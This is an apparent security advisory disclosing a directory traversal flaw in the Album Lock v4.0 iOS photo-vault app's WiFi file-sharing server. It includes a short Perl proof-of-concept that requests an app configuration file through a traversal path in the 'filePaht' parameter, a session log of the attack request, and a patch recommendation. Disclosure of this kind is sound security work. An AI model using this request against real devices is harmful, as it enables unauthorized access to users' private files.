Album Lock 4.0 Directory Traversal

Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2017-02-22T00:00:00


                                            `Document Title:  
Album Lock v4.0 iOS - Directory Traversal Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Product & Service Introduction:  
Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most   
convenient private Photo&Video App! You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways.   
>From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.  
(Copy of the Homepage: )  
Abstract Advisory Information:  
The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official Album Lock v4.0 ios mobile application.  
Vulnerability Disclosure Timeline:  
2017-02-20: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Affected Product(s):  
Exploitation Technique:  
Severity Level:  
Technical Details & Description:  
A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.  
The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.  
The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers   
are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able   
to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document`   
path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server   
web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.  
The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.   
Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the   
vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.  
Request Method(s):  
[+] GET  
Vulnerable Module(s):  
[+] getObject  
Vulnerable Parameter(s):  
[+] filePaht  
Affected Module(s):  
[+] Web-Server File System  
Proof of Concept (PoC):  
The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
Standard Request:  
PoC: Payload  
Malicious Request: Exploitation  
PoC: Exploit  
use strict;  
use LWP::UserAgent;  
my $b = LWP::UserAgent->new();  
my $host = "";  
print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;  
--- PoC Session Logs [GET] ---  
Status: 200[OK]  
GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application   
Mime Type[application/x-unknown-content-type]  
Request Header:  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]  
Response Header:  
Solution - Fix & Patch:  
The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.  
Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.  
Security Risk:  
The security risk of the directory traversal web vulnerability in the mobile application is estimated as high. (CVSS 7.2)  
Credits & Authors:  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (  
Disclaimer & Information:  
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